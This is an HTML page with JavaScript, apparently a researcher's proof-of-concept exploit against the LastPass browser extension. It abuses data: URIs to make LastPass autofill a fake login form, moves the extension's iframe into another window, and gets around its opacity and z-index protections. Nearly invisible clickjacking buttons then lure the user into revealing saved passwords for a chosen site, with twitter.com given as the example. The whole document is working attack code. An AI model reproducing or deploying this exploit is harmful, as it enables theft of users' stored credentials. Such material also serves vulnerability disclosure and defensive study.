<html>
|
<head>
|
<script>
|
|
var stagedelay = 100;
|
|
var domain = "twitter.com" // Domain you want to steal passwords for
|
var opacity = "0.01" // Set to 0.5 to debug, 0.01 for example attack
|
|
var lpwin; // lastpass login form
|
var exwin; // exploit window
|
var monitor;
|
|
// Create a new window that matches LastPass's silly regex.
|
lpwin = window.open("data:,." + domain + "/login?");
|
|
lpwin.onload = function() {
|
console.log("lastpass window loaded, data uri", lpwin.location.href)
|
|
// Create a form so that lastpass has something to fill in. Note that we
|
// cannot use document.close(), becuase the URI will update.
|
lpwin.document.body.innerHTML = document.getElementById('content').value;
|
|
// Begin monitoring LastPass...
|
monitor = setInterval(triggerframe, stagedelay);
|
}
|
|
function triggerframe() {
|
// Check if lastpass is ready...
|
if (lpwin.document.getElementsByTagName('iframe').length) {
|
var frame = lpwin.document.getElementsByTagName('iframe')[0];
|
|
// No need to keep clicking...
|
clearInterval(monitor);
|
|
console.log("lastpass initialized, attempting to fix iframe...", frame);
|
|
// Fix the src attribute. Note that a download popup will already be
|
// displayed, it doesn't matter what the user clicks though.
|
frame.setAttribute("src", "https://invalid/lpblankiframe.local&type=sites");
|
|
// Don't need this window anymore
|
lpwin.close();
|
|
console.log("creating fresh window for exploit...");
|
// Open replacement window
|
exwin = window.open("data:,." + domain + "/login?");
|
|
exwin.onload = function() {
|
exwin.document.body.bgColor = "red";
|
exwin.document.body.innerHTML = document.getElementById('template').value;
|
|
// Set these before we screw with it, because the resize handler might interfere.
|
frame.style.width = "256px";
|
frame.style.height = "64px";
|
|
exwin.document.body.appendChild(frame);
|
|
// Create a reference in the other window
|
exwin.zz = frame;
|
|
// Remove the id, which tricks lastpass into not enforcing z-index and opacity
|
frame.removeAttribute("id");
|
frame.removeAttribute("style");
|
frame.style.transform = "scale(3)";
|
frame.style.position = "absolute";
|
frame.style.overflowX = "hidden";
|
frame.style.overflowY = "hidden";
|
frame.style.overflow = "hidden";
|
frame.style.opacity = opacity;
|
frame.style.top = "500px";
|
frame.style.left = "400px";
|
}
|
|
console.log("all done, ready for exploit...");
|
return;
|
}
|
|
// Trick lastpass into re-checking the page for forms.
|
lpwin.document.body.click();
|
|
var el = lpwin.document.getElementsByTagName("input")[0];
|
var pos = el.getBoundingClientRect();
|
|
console.log("found input element", el);
|
console.log("attempting to trigger lastpass...", pos);
|
|
// Approx? I dunno
|
el.dispatchEvent(new MouseEvent("click", {
|
clientX: pos.width + pos.x - 16,
|
clientY: pos.height + pos.y - 12,
|
}));
|
}
|
|
</script>
|
</head>
|
<body>
|
<!-- Just a convenient place to write a form template -->
|
<textarea id=content style="display: none">
|
<form action="/" method="GET">
|
<input name="username" type="text">
|
<input name="password" type="password">
|
</form>
|
</textarea>
|
|
<!-- This is the clickjacking stuff -->
|
<textarea id=template style="display: none">
|
<a href onclick="this.style.display='none'; click2.style.display='block'" id=click1 style="z-index: 1; top: 120px; left: 1060px; position: absolute">DoubleClick!!</a>
|
<a href onclick="this.style.display='none'; paste.style.display='block'; setTimeout('document.body.removeChild(zz)', 1000)" id=click2 style="display: none; z-index: 1; top: 270px; left: 1060px; position: absolute">DoubleClick!!</a>
|
<input style="display: none; z-index: 1" id=paste onchange="opener.alert(this.value)" placeholder="Try Pasting Here...." type="text">
|
</textarea>
|
</body>
|
</html>
|